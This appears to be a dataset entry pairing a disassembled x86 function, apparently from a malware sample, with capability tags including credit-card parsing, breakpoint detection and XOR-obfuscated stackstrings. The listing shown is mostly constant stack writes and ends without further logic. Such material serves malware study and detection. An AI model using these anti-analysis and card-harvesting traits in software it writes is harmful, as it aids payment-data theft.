Function at 0x41d620
Capabilities:
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using xor
Parse credit card information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1805c
call fcn.005951e0
push esi
push edi
mov byte [ebp - 1], 0x21
mov eax, 0x58ec
mov word [ebp - 0xd38], ax
mov dword [ebp - 0x4080], 0xe3be0dd4
mov dword [ebp - 0x4084], 0x631fc39a
mov ecx, 0x3de
mov word [ebp - 0xd3c], cx
mov byte [ebp - 2], 0x2a
mov edx, 0x5ba0
mov word [ebp - 0xd40], dx
mov dword [ebp - 0x4088], 0xc4e011c5
mov dword [ebp - 0x408c], 0x4b568320
mov dword [ebp - 0x4090], 0x6d6a8af0
mov dword [ebp - 0x4094], 0x8036ff35
mov dword [ebp - 0x4098], 0xf6b2beff
mov byte [ebp - 3], 0x24
mov dword [ebp - 0x409c], 0xf7df4e44
mov eax, 0xf9
mov word [ebp - 0xd44], ax
mov dword [ebp - 0x40a0], 0x37e7a791
mov dword [ebp - 0x40a4], 0x1b1160bc
mov dword [ebp - 0x40a8], 0x6e504408
mov byte [ebp - 4], 0x34
mov ecx, 0x77dd
mov word [ebp - 0xd48], cx
mov dword [ebp - 0x40ac], 0x78088602
mov edx, 0x1171
mov word [ebp - 0xd4c], dx
mov dword [ebp - 0x40b0], 0x4227b4d0
mov dword [ebp - 0x40b4], 0x5c124f8
mov dword [ebp - 0x40b8], 0x3cbe9ea2
mov eax, 0x439
mov word [ebp - 0xd50], ax
mov dword [ebp - 0x40bc], 0x6518957a
mov byte [ebp - 5], 0xbb
mov dword [ebp - 0x40c0], 0xce55f73e
mov dword [ebp - 0x40c4], 0x23ab8d6f
mov dword [ebp - 0x40c8], 0x79462d5f
mov ecx, 0x2fa5
mov word [ebp - 0xd54], cx
mov edx, 0x44d
mov word [ebp - 0xd58], dx
mov dword [ebp - 0x40cc], 0x2fe681dd
mov byte [ebp - 6], 0x5b
mov dword [ebp - 0x40d0], 0xc6c8f94b
mov dword [ebp - 0x40d4], 0x18cbd48c
mov dword [ebp - 0x40d8], 0x7a5746cc
mov dword [ebp - 0x40dc], 0x48b6164b
mov eax, 0x649d
mov word [ebp - 0xd5c], ax
mov ecx, 0x4ff
mov word [ebp - 0xd60], cx
mov dword [ebp - 0x40e0], 0xce076708
mov byte [ebp - 7], 0x9d
mov edx, 0x48c0
mov word [ebp - 0xd64], dx
mov byte [ebp - 8], 0x32
mov dword [ebp - 0x40e4], 0x5f28c977
mov dword [ebp - 0x40e8], 0x568b1384
mov dword [ebp - 0x40ec], 0x391b4968
mov dword [ebp - 0x40f0], 0x3c3f6d9d
mov byte [ebp - 9], 0x61
mov eax, 0x7e0a
mov word [ebp - 0xd68], ax
mov dword [ebp - 0x40f4], 0x78c6b101
mov ecx, 0x410f
mov word [ebp - 0xd6c], cx
mov dword [ebp - 0x40f8], 0x3393dee
mov dword [ebp - 0x40fc], 0x7e712985
mov dword [ebp - 0x4100], 0x7ae8d5e2
mov dword [ebp - 0x4104], 0xc4c8f6ba
mov byte [ebp - 0xa], 0x3b
mov edx, 0xdec
mov word [ebp - 0xd70], dx
mov dword [ebp - 0x4108], 0x6ec2a347
mov dword [ebp - 0x410c], 0x8d78a0e0
mov dword [ebp - 0x4110], 0xb85c46
mov dword [ebp - 0x4114], 0x961db43d
mov eax, 0xe68
mov word [ebp - 0xd74], ax
mov dword [ebp - 0x4118], 0x933c9cc9
mov dword [ebp - 0x411c], 0x8f6a3b9c
mov ecx, 0xb46
mov word [ebp - 0xd78], cx
mov dword [ebp - 0x4120], 0xd850ccb
mov dword [ebp - 0x4124], 0x336a0bef
mov dword [ebp - 0x4128], 0x22d1c66c
mov edx, 0xcc7
mov word [ebp - 0xd7c], dx
mov dword [ebp - 0x412c], 0x380ed8b2
mov byte [ebp - 0xb], 0xb2
mov dword [ebp - 0x4130], 0xd63e5973
mov eax, 0x283
mov word [ebp - 0xd80], ax
mov dword [ebp - 0x4134], 0x44b6e809
mov dword [ebp - 0x4138], 0x79dea6d4
mov dword [ebp - 0x413c], 0x36882094
mov ecx, 0xf77
mov word [ebp - 0xd84], cx
mov byte [ebp - 0xc], 0x8c
mov edx, 0xb41
mov word [ebp - 0xd88], dx
mov eax, 0x488
mov word [ebp - 0xd8c], ax
mov dword [ebp - 0x4140], 0xf018b088
mov ecx, 0x4fd2
mov word [ebp - 0xd90], cx
mov edx, 0x7f1a
mov word [ebp - 0xd94], dx
mov dword [ebp - 0x4144], 0x630feff9
mov byte [ebp - 0xd], 0x41
mov dword [ebp - 0x4148], 0x3dfe997c
mov dword [ebp - 0x414c], 0x36f07232
mov dword [ebp - 0x4150], 0x73f814c9
mov dword [ebp - 0x4154], 0x2b80cb4b
mov eax, 0x8df
mov word [ebp - 0xd98], ax
mov ecx, 0x3177
mov word [ebp - 0xd9c], cx
mov byte [ebp - 0xe], 0x7e
mov byte [ebp - 0xf], 0xe7
mov edx, 0x5b3f
mov word [ebp - 0xda0], dx
mov dword [ebp - 0x4158], 0xdec1f72d
mov eax, 0x1e8
mov word [ebp - 0xda4], ax
mov byte [ebp - 0x10], 0xcc
mov byte [ebp - 0x11], 0x67
mov dword [ebp - 0x415c], 0xfbf109b7
mov ecx, 0x2d7a
mov word [ebp - 0xda8], cx
mov byte [ebp - 0x12], 0xda
mov edx, 0x1de
mov word [ebp - 0xdac], dx
mov dword [ebp - 0x4160], 0x2af2c551
mov dword [ebp - 0x4164], 0x3f671b5b
mov dword [ebp - 0x4168], 0x2a46993e
mov dword [ebp - 0x416c], 0x70d1eba2
mov byte [ebp - 0x13], 0xc9
mov eax, 0xe91
mov word [ebp - 0xdb0], ax
mov dword [ebp - 0x4170], 0x4e89c899
mov dword [ebp - 0x4174], 0xf1619f3a
mov dword [ebp - 0x4178], 0x6023c35d
mov ecx, 0x1873
mov word [ebp - 0xdb4], cx
mov dword [ebp - 0x417c], 0xf18e97d7
mov byte [ebp - 0x14], 0xdf
mov edx, 0xa91
mov word [ebp - 0xdb8], dx
mov dword [ebp - 0x4180], 0x579cae05
mov dword [ebp - 0x4184], 0x3696a121
mov dword [ebp - 0x4188], 0x7e835f52
mov eax, 0xd66
mov word [ebp - 0xdbc], ax
mov ecx, 0x6b9b
mov word [ebp - 0xdc0], cx
mov byte [ebp - 0x15], 0x24
mov dword [ebp - 0x418c], 0xcecff2e
mov edx, 0x690d
mov word [ebp - 0xdc4], dx
mov dword [ebp - 0x4190], 0x4d28e117
mov byte [ebp - 0x16], 0xf8
mov byte [ebp - 0x17], 0x36
mov byte [ebp - 0x18], 0x79
mov dword [ebp - 0x4194], 0x1f4406c8
mov dword [ebp - 0x4198], 0x6a6a6387
mov eax, 0x1659
mov word [ebp - 0xdc8], ax
mov ecx, 0xaf8
mov word [ebp - 0xdcc], cx
mov dword [ebp - 0x419c], 0x43e7e5b6
mov dword [ebp - 0x41a0], 0x374469d2
mov dword [ebp - 0x41a4], 0x3766f225
mov dword [ebp - 0x41a8], 0x3352f178
mov dword [ebp - 0x41ac], 0x12eae766
mov dword [ebp - 0x41b0], 0x3dc7ca21
mov edx, 0x661c
mov word [ebp - 0xdd0], dx
mov eax, 0x5ee
mov word [ebp - 0xdd4], ax
mov ecx, 0x7153
mov word [ebp - 0xdd8], cx
mov dword [ebp - 0x41b4], 0xcf0405c
mov byte [ebp - 0x19], 0x8f
mov dword [ebp - 0x41b8], 0x33b17ab6
mov byte [ebp - 0x1a], 0x47
mov dword [ebp - 0x41bc], 0x6e9c18ab
mov edx, 0x6f
mov word [ebp - 0xddc], dx
mov dword [ebp - 0x41c0], 0x25a84bd
mov byte [ebp - 0x1b], 0x6a
mov dword [ebp - 0x41c4], 0xb132d120
mov byte [ebp - 0x1c], 0x5b
mov dword [ebp - 0x41c8], 0x9f8f2761
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1e], 0x10
mov eax, 0xc4a
mov word [ebp - 0xde0], ax
mov byte [ebp - 0x1f], 0
mov dword [ebp - 0x41cc], 0xe27e1ccc
mov dword [ebp - 0x41d0], 0x5a62b26d
mov byte [ebp - 0x20], 0xa5
mov byte [ebp - 0x21], 0x3a
mov dword [ebp - 0x41d4], 0x7e7dad96
mov dword [ebp - 0x41d8], 0x5816a176
mov byte [ebp - 0x22], 0x18
mov dword [ebp - 0x41dc], 0x162aadc5
mov ecx, 0x9e9
mov word [ebp - 0xde4], cx
mov dword [ebp - 0x41e0], 0x2a3ca7c6
mov dword [ebp - 0x41e4], 0x559f941d
mov byte [ebp - 0x23], 0xf4
mov edx, 0x6600
mov word [ebp - 0xde8], dx
mov dword [ebp - 0x41e8], 0x9b146c81
mov byte [ebp - 0x24], 0x5e
mov byte [ebp - 0x25], 0x17
mov eax, 0x9eb
mov word [ebp - 0xdec], ax
mov dword [ebp - 0x41ec], 0xf31fdadf
mov dword [ebp - 0x41f0], 0x10b3b869
mov ecx, 0x4242
mov word [ebp - 0xdf0], cx
mov dword [ebp - 0x41f4], 0xae16316
mov dword [ebp - 0x41f8], 0xa1d18ac
mov byte [ebp - 0x26], 0xd
mov byte [ebp - 0x27], 0x92
mov edx, 0x49
mov word [ebp - 0xdf4], dx
mov dword [ebp - 0x41fc], 0x65f3ea96
mov dword [ebp - 0x4200], 0x169427a6
mov dword [ebp - 0x4204], 0x2571ebd8
mov byte [ebp - 0x28], 0x44
mov dword [ebp - 0x4208], 0x105922f1
mov dword [ebp - 0x420c], 0x1e65fb46
mov dword [ebp - 0x4210], 0x24c4284b
mov dword [ebp - 0x4214], 0x9361ee
mov dword [ebp - 0x4218], 0x30d82a0
mov dword [ebp - 0x421c], 0x376a7b90
mov eax, 0x57
mov word [ebp - 0xdf8], ax
mov dword [ebp - 0x4220], 0x72e6c077
mov byte [ebp - 0x29], 0xdb
mov ecx, 0x567
mov word [ebp - 0xdfc], cx
mov dword [ebp - 0x4224], 0xf394972c
mov byte [ebp - 0x2a], 0xc0
mov dword [ebp - 0x4228], 0x7671ff98
mov byte [ebp - 0x2b], 0x44
mov dword [ebp - 0x422c], 0xe42f946a
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2d], 0x9e
mov dword [ebp - 0x4230], 0x2744bf11
mov edx, 0x7788
mov word [ebp - 0xe00], dx
mov eax, 0xb0b
mov word [ebp - 0xe04], ax
mov dword [ebp - 0x4234], 0xd7f89e29
mov dword [ebp - 0x4238], 0xf99c89a0
mov dword [ebp - 0x423c], 0x28a2bdb7
mov byte [ebp - 0x2e], 0x33
mov dword [ebp - 0x4240], 0x4ba61a92
mov ecx, 0x680b
mov word [ebp - 0xe08], cx
mov edx, 0x13a2
mov word [ebp - 0xe0c], dx
mov dword [ebp - 0x4244], 0x78a4d323
mov dword [ebp - 0x4248], 0x1447b5d5
mov dword [ebp - 0x424c], 0xa5def258
mov byte [ebp - 0x2f], 0x7c
mov dword [ebp - 0x4250], 0x4437d232
mov dword [ebp - 0x4254], 0x301cbab8
mov eax, 0x4c0
mov word [ebp - 0xe10], ax
mov byte [ebp - 0x30], 0xe5
mov dword [ebp - 0x4258], 0x1211c429
mov dword [ebp - 0x425c], 0x2b7662ce
mov ecx, 0xed9
mov word [ebp - 0xe14], cx
mov dword [ebp - 0x4260], 0x277e2b11
mov dword [ebp - 0x4264], 0x2b852616
mov edx, 0xdad
mov word [ebp - 0xe18], dx
mov eax, 0x269f
mov word [ebp - 0xe1c], ax
mov dword [ebp - 0x4268], 0xf834289
mov dword [ebp - 0x426c], 0x677123bd
mov dword [ebp - 0x4270], 0x5895a4e1
mov dword [ebp - 0x4274], 0x1f65e074
mov dword [ebp - 0x4278], 0x80008b6e
mov ecx, 0x4d69
mov word [ebp - 0xe20], cx
mov dword [ebp - 0x427c], 0x2d807e65
mov dword [ebp - 0x4280], 0x39350f07
mov edx, 0xcb4
mov word [ebp - 0xe24], dx
mov dword [ebp - 0x4284], 0xc1e4be7
mov dword [ebp - 0x4288], 0xaf7cbfc8
mov byte [ebp - 0x31], 0xf4
mov dword [ebp - 0x428c], 0x5fa8ba4c
mov dword [ebp - 0x4290], 0x6ea5ece4
mov eax, 0x5f8
mov word [ebp - 0xe28], ax
mov ecx, 0x57cd
mov word [ebp - 0xe2c], cx
mov dword [ebp - 0x4294], 0x53f37e42
mov dword [ebp - 0x4298], 0x6ec9d773
mov dword [ebp - 0x429c], 0xbfb37785
mov dword [ebp - 0x42a0], 0xc1bc79c
mov byte [ebp - 0x32], 0x47
mov dword [ebp - 0x42a4], 0x17605311
mov dword [ebp - 0x42a8], 0x157f6ad0
mov dword [ebp - 0x42ac], 0x3a8c7497
mov byte [ebp - 0x33], 0xe4
mov byte [ebp - 0x34], 0x33
mov dword [ebp - 0x42b0], 0x34514462
mov dword [ebp - 0x42b4], 0x6fe4ce15
mov byte [ebp - 0x35], 0x69
mov byte [ebp - 0x36], 0x30
mov dword [ebp - 0x42b8], 0x7b6dbad9
mov byte [ebp - 0x37], 0x52
mov byte [ebp - 0x38], 0x10
mov dword [ebp - 0x42bc], 0x7f8069a
mov dword [ebp - 0x42c0], 0x11f5edbd
mov edx, 0x2021
mov word [ebp - 0xe30], dx
mov dword [ebp - 0x42c4], 0x19171143
mov dword [ebp - 0x42c8], 0x78543190
mov byte [ebp - 0x39], 0x60
mov dword [ebp - 0x42cc], 0x689e340f
mov dword [ebp - 0x42d0], 0x5251fd79
mov dword [ebp - 0x42d4], 0x201e6e0d
mov eax, 0x48c9
mov word [ebp - 0xe34], ax
mov dword [ebp - 0x42d8], 0x55f3d7cb
mov dword [ebp - 0x42dc], 0x20566df1
mov dword [ebp - 0x42e0], 0xdd2fd22e
mov dword [ebp - 0x42e4], 0x3235c9ab
mov byte [ebp - 0x3a], 0xed
mov ecx, 0x310
mov word [ebp - 0xe38], cx
mov byte [ebp - 0x3b], 0x59
mov byte [ebp - 0x3c], 0x62
mov dword [ebp - 0x42e8], 0x57a34092
mov edx, 0x75d9
mov word [ebp - 0xe3c], dx
mov dword [ebp - 0x42ec], 0x32eb575e
mov eax, 0x928
mov word [ebp - 0xe40], ax
mov dword [ebp - 0x42f0], 0x2e710e33
mov dword [ebp - 0x42f4], 0x2f09140
mov dword [ebp - 0x42f8], 0x51a47b5b
mov ecx, 0xdc8
mov word [ebp - 0xe44], cx
mov edx, 0x472
mov word [ebp - 0xe48], dx
mov byte [ebp - 0x3d], 0x8c
mov byte [ebp - 0x3e], 0x14
mov dword [ebp - 0x42fc], 0x37981ee
mov eax, 0x614
mov word [ebp - 0xe4c], ax
mov dword [ebp - 0x4300], 0x5965a06d
mov ecx, 0x3855
mov word [ebp - 0xe50], cx
mov dword [ebp - 0x4304], 0x13c393f0
mov dword [ebp - 0x4308], 0x421ce200
mov dword [ebp - 0x430c], 0x43729e36
mov edx, 0x2d4
mov word [ebp - 0xe54], dx
mov dword [ebp - 0x4310], 0x80f55fa4
mov eax, 0xf25
mov word [ebp - 0xe58], ax
mov dword [ebp - 0x4314], 0x2aa321c5
mov ecx, 0x225
mov word [ebp - 0xe5c], cx
mov dword [ebp - 0x4318], 0x2bc9d7d7
mov edx, 0xd7a
mov word [ebp - 0xe60], dx
mov dword [ebp - 0x431c], 0x8203f7a
mov dword [ebp - 0x4320], 0xf1d5ac75
mov byte [ebp - 0x3f], 0x63
mov byte [ebp - 0x40], 0x35
mov byte [ebp - 0x41], 0x1a
mov eax, 0x2a4
mov word [ebp - 0xe64], ax
mov dword [ebp - 0x4324], 0xa313b1b0
mov dword [ebp - 0x4328], 0x4d36e399
mov ecx, 0x2fbc
mov word [ebp - 0xe68], cx
mov dword [ebp - 0x432c], 0x755b29dd
mov dword [ebp - 0x4330], 0x6e112122
mov dword [ebp - 0x4334], 0x7e556faa
mov edx, 0x536
mov word [ebp - 0xe6c], dx
mov byte [ebp - 0x42], 0x2f
mov eax, 0x75be
mov word [ebp - 0xe70], ax
mov dword [ebp - 0x4338], 0x116f62d3
mov ecx, 0x7711
mov word [ebp - 0xe74], cx
mov edx, 0xb9c
mov word [ebp - 0xe78], dx
mov dword [ebp - 0x433c], 0x5bfbf166
mov dword [ebp - 0x4340], 0x913f4905
mov byte [ebp - 0x43], 0x43
mov dword [ebp - 0x4344], 0xd5bfa8d3
mov byte [ebp - 0x44], 0x9d
mov dword [ebp - 0x4348], 0x40041f02
mov dword [ebp - 0x434c], 0xbd4a7dcf
mov dword [ebp - 0x4350], 0xfbdc5c58
mov eax, 0x36f
mov word [ebp - 0xe7c], ax
mov dword [ebp - 0x4354], 0x38a42ec6
mov dword [ebp - 0x4358], 0x15621563
mov ecx, 0x6e7
mov word [ebp - 0xe80], cx
mov edx, 0x94c
mov word [ebp - 0xe84], dx
mov dword [ebp - 0x435c], 0x4b427bf6
mov dword [ebp - 0x4360], 0xbf7a8d60
mov dword [ebp - 0x4364], 0x58c9c8c7
mov dword [ebp - 0x4368], 0x7be142a1
mov eax, 0x32b
mov word [ebp - 0xe88], ax
mov dword [ebp - 0x436c], 0x6157c029
mov dword [ebp - 0x4370], 0x67ce879f
mov dword [ebp - 0x4374], 0x4349540b
mov dword [ebp - 0x4378], 0xddf70b5e
mov ecx, 0x92f
mov word [ebp - 0xe8c], cx
mov dword [ebp - 0x437c], 0xb3e5571
mov dword [ebp - 0x4380], 0x3fc263d2
mov byte [ebp - 0x45], 0x4c
mov edx, 0x13af
mov word [ebp - 0xe90], dx
mov byte [ebp - 0x46], 0xce
mov dword [ebp - 0x4384], 0xa90d113
mov dword [ebp - 0x4388], 0x7d98769a
mov eax, 0x4c1b
mov word [ebp - 0xe94], ax
mov dword [ebp - 0x438c], 0x48caf224
mov ecx, 0xec1
mov word [ebp - 0xe98], cx
mov byte [ebp - 0x47], 0x5d
mov dword [ebp - 0x4390], 0x4bfe19c3
mov dword [ebp - 0x4394], 0x4a7b5a2f
mov dword [ebp - 0x4398], 0xb78a61b
mov dword [ebp - 0x439c], 0x3814c5d6
mov dword [ebp - 0x43a0], 0x76e696ae
mov byte [ebp - 0x48], 0x92
mov byte [ebp - 0x49], 0x51
mov dword [ebp - 0x43a4], 0x5bb34525
mov dword [ebp - 0x43a8], 0xf21d6e15
mov dword [ebp - 0x43ac], 0x54aec175
mov dword [ebp - 0x43b0], 0xbb33f49f
mov dword [ebp - 0x43b4], 0x34ced80d
mov byte [ebp - 0x4a], 0x6a
mov dword [ebp - 0x43b8], 0xac03f09f
mov dword [ebp - 0x43bc], 0xca35cb19
mov dword [ebp - 0x43c0], 0x937696cd
mov byte [ebp - 0x4b], 0x31
mov dword [ebp - 0x43c4], 0x1f890fe4
mov edx, 0x25c
mov word [ebp - 0xe9c], dx
mov byte [ebp - 0x4c], 0x5b
mov eax, 0x5d0
mov word [ebp - 0xea0], ax
mov dword [ebp - 0x43c8], 0xb274aedc
mov ecx, 0x76
mov word [ebp - 0xea4], cx
mov edx, 0x834
mov word [ebp - 0xea8], dx
mov eax, 0x272
mov word [ebp - 0xeac], ax
mov ecx, 0x4e5a
mov word [ebp - 0xeb0], cx
mov edx, 0x6c8
mov word [ebp - 0xeb4], dx
mov byte [ebp - 0x4d], 0xa3
mov dword [ebp - 0x43cc], 0x40075fc7
mov byte [ebp - 0x4e], 8
mov byte [ebp - 0x4f], 0x20
mov byte [ebp - 0x50], 0xbd
mov eax, 0xe40
mov word [ebp - 0xeb8], ax
mov ecx, 0x7cf5
mov word [ebp - 0xebc], cx
mov edx, 0xd14
mov word [ebp - 0xec0], dx
mov byte [ebp - 0x51], 0x73
mov eax, 0xf05
mov word [ebp - 0xec4], ax
mov dword [ebp - 0x43d0], 0xd321a67
mov dword [ebp - 0x43d4], 0x99c7d537
mov dword [ebp - 0x43d8], 0x22cc098a
mov dword [ebp - 0x43dc], 0x20881a4a
mov dword [ebp - 0x43e0], 0x1f5ee254
mov byte [ebp - 0x52], 0x50
mov byte [ebp - 0x53], 0x9f
mov byte [ebp - 0x54], 0x63
mov dword [ebp - 0x43e4], 0x1dd12c64
mov dword [ebp - 0x43e8], 0x165db4a4
mov dword [ebp - 0x43ec], 0xbf5bec29
mov byte [ebp - 0x55], 0x92
mov dword [ebp - 0x43f0], 0x6df8e230
mov byte [ebp - 0x56], 0x67
mov dword [ebp - 0x43f4], 0xff6c45b
mov byte [ebp - 0x57], 0xd
mov dword [ebp - 0x43f8], 0x3192d744
mov ecx, 0x8ed
mov word [ebp - 0xec8], cx
mov edx, 0xdcd
mov word [ebp - 0xecc], dx
mov byte [ebp - 0x58], 0xd5
mov eax, 0x39b
mov word [ebp - 0xed0], ax
mov dword [ebp - 0x43fc], 0x3d1651e9
mov dword [ebp - 0x4400], 0x41cde8a9
mov dword [ebp - 0x4404], 0x8863e840
mov dword [ebp - 0x4408], 0x2e636ae0
mov dword [ebp - 0x440c], 0xbc6146d
mov dword [ebp - 0x4410], 0x199f716e
mov dword [ebp - 0x4414], 0x7b013c83
mov dword [ebp - 0x4418], 0xa6289a62
mov byte [ebp - 0x59], 0x7a
mov byte [ebp - 0x5a], 0xe8
mov dword [ebp - 0x441c], 0x3aefd5b4
mov dword [ebp - 0x4420], 0x2883f154
mov ecx, 0x7ce
mov word [ebp - 0xed4], cx
mov edx, 0x58e5
mov word [ebp - 0xed8], dx
mov dword [ebp - 0x4424], 0x11fcba1b
mov dword [ebp - 0x4428], 0x40e203e9
mov byte [ebp - 0x5b], 0x56
mov byte [ebp - 0x5c], 0x4f
mov eax, 0x705c
mov word [ebp - 0xedc], ax
mov byte [ebp - 0x5d], 0xa2
mov byte [ebp - 0x5e], 0xca
mov dword [ebp - 0x442c], 0x17d587c8
mov dword [ebp - 0x4430], 0x1518e7c3
mov dword [ebp - 0x4434], 0x4fbc0db9
mov dword [ebp - 0x4438], 0x69388658
mov dword [ebp - 0x443c], 0x22cb4293
mov dword [ebp - 0x4440], 0x6800cc5
mov byte [ebp - 0x5f], 0xd3
mov dword [ebp - 0x4444], 0x863e3c29
mov byte [ebp - 0x60], 0xd2
mov byte [ebp - 0x61], 0xa9
mov dword [ebp - 0x4448], 0x54084bb9
mov dword [ebp - 0x444c], 0x8464e342
mov dword [ebp - 0x4450], 0x6cd0e1dd
mov byte [ebp - 0x62], 0x91
mov ecx, 0x432
mov word [ebp - 0xee0], cx
mov dword [ebp - 0x4454], 0x3161f681
mov dword [ebp - 0x4458], 0x459b5e1e
mov dword [ebp - 0x445c], 0x53fab5cd
mov dword [ebp - 0x4460], 0x3f9b1ad0
mov dword [ebp - 0x4464], 0x2af9d8e0
mov dword [ebp - 0x4468], 0x76155d99
mov dword [ebp - 0x446c], 0x64c70adb
mov dword [ebp - 0x4470], 0xdfbccd58
mov edx, 0xe5b
mov word [ebp - 0xee4], dx
mov dword [ebp - 0x4474], 0x3cf72034
mov eax, 0x6c41
mov word [ebp - 0xee8], ax
mov dword [ebp - 0x4478], 0x440995d
mov dword [ebp - 0x447c], 0x9b50964a
mov dword [ebp - 0x4480], 0x61b4a6e3
mov dword [ebp - 0x4484], 0x282f9f79
mov dword [ebp - 0x4488], 0xfb80c43
mov dword [ebp - 0x448c], 0x2a8e9061
mov byte [ebp - 0x63], 0xdf
mov dword [ebp - 0x4490], 0x1cc00a89
mov dword [ebp - 0x4494], 0x69f48a8
mov dword [ebp - 0x4498], 0x7904028e
mov dword [ebp - 0x449c], 0x6e0dcfc8
mov dword [ebp - 0x44a0], 0xae28c6e
mov dword [ebp - 0x44a4], 0x2b0afa61
mov byte [ebp - 0x64], 0xcc
mov dword [ebp - 0x44a8], 0x4ddd893a
mov dword [ebp - 0x44ac], 0x6a083181
mov dword [ebp - 0x44b0], 0x27080d3f
mov dword [ebp - 0x44b4], 0x370d42bb
mov byte [ebp - 0x65], 0xb7
mov byte [ebp - 0x66], 0xcb
mov dword [ebp - 0x44b8], 0x1590aa0d
mov dword [ebp - 0x44bc], 0xee9b7fab
mov ecx, 0x287
mov word [ebp - 0xeec], cx
mov dword [ebp - 0x44c0], 0x1f742a00
mov dword [ebp - 0x44c4], 0xf8e9a2d3
mov dword [ebp - 0x44c8], 0x4ffbaf67
mov dword [ebp - 0x44cc], 0xa52b418b
mov dword [ebp - 0x44d0], 0x2316a5
mov byte [ebp - 0x67], 0xc5
mov byte [ebp - 0x68], 0xf3
mov dword [ebp - 0x44d4], 0xeb08b43
mov dword [ebp - 0x44d8], 0x4fd1306b
mov dword [ebp - 0x44dc], 0x9f2636d8
mov dword [ebp - 0x44e0], 0xfcdf2644
mov dword [ebp - 0x44e4], 0xd064ce39
mov dword [ebp - 0x44e8], 0x15d0ae8c
mov byte [ebp - 0x69], 0xf4
mov edx, 0x9d4
mov word [ebp - 0xef0], dx
mov dword [ebp - 0x44ec], 0x16f57921
mov byte [ebp - 0x6a], 0x4b
mov dword [ebp - 0x44f0], 0x460e7807
mov byte [ebp - 0x6b], 0x74
mov eax, 0xb33
mov word [ebp - 0xef4], ax
mov ecx, 0x81a
mov word [ebp - 0xef8], cx
mov byte [ebp - 0x6c], 0x4f
mov dword [ebp - 0x44f4], 0xa9e8725
mov edx, 0x95c
mov word [ebp - 0xefc], dx
mov eax, 0x3073
mov word [ebp - 0xf00], ax
mov ecx, 0x11d
mov word [ebp - 0xf04], cx
mov dword [ebp - 0x44f8], 0x6ec7bdf1
mov edx, 0xbf
mov word [ebp - 0xf08], dx
mov dword [ebp - 0x44fc], 0x42984ca
mov byte [ebp - 0x6d], 0x1e
mov byte [ebp - 0x6e], 0x25
mov dword [ebp - 0x4500], 0x345664a0
mov dword [ebp - 0x4504], 0x4fa157c4
mov dword [ebp - 0x4508], 0x58f4e7a5
mov dword [ebp - 0x450c], 0x56617304
mov dword [ebp - 0x4510], 0x59cf1f39
mov dword [ebp - 0x4514], 0x3264ac24
mov eax, 0xa7
mov word [ebp - 0xf0c], ax
mov ecx, 0x86a
mov word [ebp - 0xf10], cx
mov byte [ebp - 0x6f], 0xb9
mov dword [ebp - 0x4518], 0xc17842b7
mov edx, 0xfb4
mov word [ebp - 0xf14], dx
mov dword [ebp - 0x451c], 0x61d3d0d3
mov dword [ebp - 0x4520], 0x2cd59e17
mov byte [ebp - 0x70], 0x1b
mov dword [ebp - 0x4524], 0x2dd6b190
mov byte [ebp - 0x71], 0x35
mov dword [ebp - 0x4528], 0x251dd26a
mov dword [ebp - 0x452c], 0x1ff11b64
mov byte [ebp - 0x72], 0x68
mov dword [ebp - 0x4530], 0x27dc1a92
mov dword [ebp - 0x4534], 0x7d61c6ef
mov dword [ebp - 0x4538], 0x6682ba91
mov eax, 0x1f36
mov word [ebp - 0xf18], ax
mov dword [ebp - 0x453c], 0x6e194d7b
mov ecx, 0xe50
mov word [ebp - 0xf1c], cx
mov dword [ebp - 0x4540], 0xae09086
mov dword [ebp - 0x4544], 0x732244df
mov dword [ebp - 0x4548], 0x3d83125
mov byte [ebp - 0x73], 0xc
mov dword [ebp - 0x454c], 0x11e4db1c
mov byte [ebp - 0x74], 0x45
mov edx, 0x6f3
mov word [ebp - 0xf20], dx
mov dword [ebp - 0x4550], 0xdc4cc2fe
mov eax, 0xc02
mov word [ebp - 0xf24], ax
mov ecx, 0x265
mov word [ebp - 0xf28], cx
mov dword [ebp - 0x4554], 0x37a2a236
mov dword [ebp - 0x4558], 0xb4617043
mov edx, 0xb1
mov word [ebp - 0xf2c], dx
mov dword [ebp - 0x455c], 0x59757b95
mov byte [ebp - 0x75], 0x29
mov byte [ebp - 0x76], 0x36
mov dword [ebp - 0x4560], 0x2503823c
mov dword [ebp - 0x4564], 0x9e81052
mov dword [ebp - 0x4568], 0x5f14a736
mov dword [ebp - 0x456c], 0x13e67792
mov dword [ebp - 0x4570], 0x4e28cbd2
mov dword [ebp - 0x4574], 0x7bc6888b
mov byte [ebp - 0x77], 9
mov dword [ebp - 0x4578], 0x531e8155
mov eax, 0xfd3
mov word [ebp - 0xf30], ax
mov dword [ebp - 0x457c], 0x4f0d29c0
mov byte [ebp - 0x78], 0xe9
mov dword [ebp - 0x4580], 0x483f764a
mov ecx, 0x455
mov word [ebp - 0xf34], cx
mov edx, 0x4b88
mov word [ebp - 0xf38], dx
mov dword [ebp - 0x4584], 0x685c55be
mov dword [ebp - 0x4588], 0x5de51fe5
mov eax, 0x7e5
mov word [ebp - 0xf3c], ax
mov ecx, 0x70c2
mov word [ebp - 0xf40], cx
mov dword [ebp - 0x458c], 0x47f58fdf
mov dword [ebp - 0x4590], 0x28d9d80e
mov dword [ebp - 0x4594], 0xa8a25e32
mov edx, 0x52d
mov word [ebp - 0xf44], dx
mov byte [ebp - 0x79], 0xac
mov byte [ebp - 0x7a], 0x29
mov eax, 0xd6a
mov word [ebp - 0xf48], ax
mov dword [ebp - 0x4598], 0x8b3044e8
mov dword [ebp - 0x459c], 0x6ea20f04
mov dword [ebp - 0x45a0], 0xe1207620
mov dword [ebp - 0x45a4], 0x194a1685
mov dword [ebp - 0x45a8], 0xafb7b6c0
mov dword [ebp - 0x45ac], 0x1cc43b3e
mov dword [ebp - 0x45b0], 0x8565155d
mov dword [ebp - 0x45b4], 0x5dbed98d
mov ecx, 0x628
mov word [ebp - 0xf4c], cx
mov byte [ebp - 0x7b], 0x35
mov dword [ebp - 0x45b8], 0x66a97720
mov edx, 0x55d
mov word [ebp - 0xf50], dx
mov dword [ebp - 0x45bc], 0xc95b9cca
mov dword [ebp - 0x45c0], 0x58255a8c
mov eax, 0xde
mov word [ebp - 0xf54], ax
mov dword [ebp - 0x45c4], 0x79a5c945
mov dword [ebp - 0x45c8], 0x843cb7ea
mov dword [ebp - 0x45cc], 0x370958b5
mov dword [ebp - 0x45d0], 0x493f86be
mov byte [ebp - 0x7c], 0x2a
mov byte [ebp - 0x7d], 0x45
mov byte [ebp - 0x7e], 0x60
mov dword [ebp - 0x45d4], 0x4a947b1c
